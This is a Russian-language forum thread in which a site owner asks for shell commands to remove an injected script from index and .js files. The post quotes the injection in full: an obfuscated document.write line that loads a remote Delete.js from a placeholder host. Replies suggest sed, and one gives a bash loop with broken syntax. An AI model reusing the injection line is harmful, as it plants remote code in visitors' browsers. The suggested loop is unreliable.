Jump to content

Recommended Posts

Posted

Нужно удалить эти строки:

из всех файлов index.php, index.html, index.xhtml, index.htm, index.wml и т.п.

И эту строку:

document.write('<s'+'cript type="text/javascript" src="http://сайт.ru:8080/Delete.js"></scr'+'ipt>');

из всех файлов .js

Какими командами это сделать?

В shell не соображаю.

  • 13 years later...
Posted

Я бы сделал так scripts=$(cat ./*.{php,html,xhtml,wml,htm} | grep -P "<script" | grep -P "src=" | cut -d '"' -f 2) ; for i in "$scripts" do sed -i 's/"$i//g" done и так далее

Posted
В 21.07.2010 в 22:46, AccessD сказал:

sed -i 's/string_to_substitute/new_string/g' имя файла

не забудте про экранирование некот. символов.

Да кстати AccessD Прав я вот знаю шел но еще не очень

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Loading...
×
×
  • Create New...